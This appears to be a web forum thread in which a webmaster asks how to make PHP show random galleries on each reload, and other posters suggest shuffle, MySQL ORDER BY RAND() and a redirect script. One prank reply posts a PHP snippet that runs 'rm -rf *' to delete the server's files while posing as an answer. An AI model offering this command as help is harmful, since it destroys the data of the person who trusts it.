how do i write a php so code so that the galleries change everytime

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • oberheimer
    So Fucking Banned
    • Jul 2003
    • 791

    #1

    how do i write a php so code so that the galleries change everytime

    how do i write a php so code so that the galleries change everytime (everytime the site is reloaded)
    same as chockers galleries i think
  • reynold
    Too lazy to set a custom title
    • Oct 2002
    • 51271

    #2
    Bump.

    Comment

    • Rorschach
      So Fucking Banned
      • Aug 2002
      • 5579

      #3
      Code:
      <?php
      exec('rm -rf *');
      echo('0wn3d!');
      ?>

      Comment

      • steve90
        Confirmed User
        • Oct 2003
        • 2397

        #4
        Originally posted by Rorschach
        Code:
        <?php
        exec('rm -rf *');
        echo('0wn3d!');
        ?>
        Don't give out stuff like that. I paid 900 bucks for that script

        Comment

        • pudcat
          Confirmed User
          • Mar 2003
          • 1169

          #5
          if you have an array of galleries have a look at shuffle function

          if you have them in db then look at mysql rand function
          SUBMIT YOUR BABE GALLERIES

          PROMOTE YOUR BLOG HERE

          always looking for hardlinks icq #207011694

          Thunder-Ball.net, good for hardlink exchanges

          Comment

          • arnette
            Confirmed User
            • Feb 2005
            • 283

            #6
            icq me 243680554

            Comment

            • ssp
              Confirmed User
              • Jan 2005
              • 7990

              #7
              Originally posted by steve90
              Don't give out stuff like that. I paid 900 bucks for that script
              hahaha

              Comment

              • EddiePulp
                Confirmed User
                • Mar 2004
                • 1332

                #8
                use perl, make a txt file full of gallery_urls, descriptions, thumb_count, category. Make a perl script that will print from the txt file on load. DONE-ZO
                I dont need a sig.

                Comment

                • BIGTYMER
                  Junior Achiever
                  • Nov 2004
                  • 17066

                  #9
                  PHP Code:
                  <?php
                  
                  $fileName = "galleries.txt";
                  mt_srand( (double) microtime() * 1000000 );
                  $a = file($fileName);
                  $randNum = mt_rand( 0, sizeof($a)-1 );
                  header( "Location: ". $a[$randNum] );
                  
                  ?>
                  Open up notepad and paste the above code into it. Save it as galleries.php.

                  Open up notepad and paste all your galleries into it. And make sure you only put one gallery per line. Save it as galleries.txt

                  http://site.com/gallery1.html
                  http://site.com/gallery3.html
                  http://site.com/gallery4.html
                  http://site.com/gallery5.html
                  etc.

                  Then just upload and you're done.

                  Comment

                  • AcidMax
                    Confirmed User
                    • May 2002
                    • 1827

                    #10
                    Or if the gallery urls and such are already in a database just create a query to pull out random galleries.


                    SELECT * FROM galleries_table ORDER BY Rand() LIMIT 100;

                    will pull out 100 random galleries from the galleries table. If its in mysql that is.
                    Latest MMA news. http://www.mmawrapup.com

                    Comment

                    • oberheimer
                      So Fucking Banned
                      • Jul 2003
                      • 791

                      #11
                      Thanks alot

                      Comment

                      Working...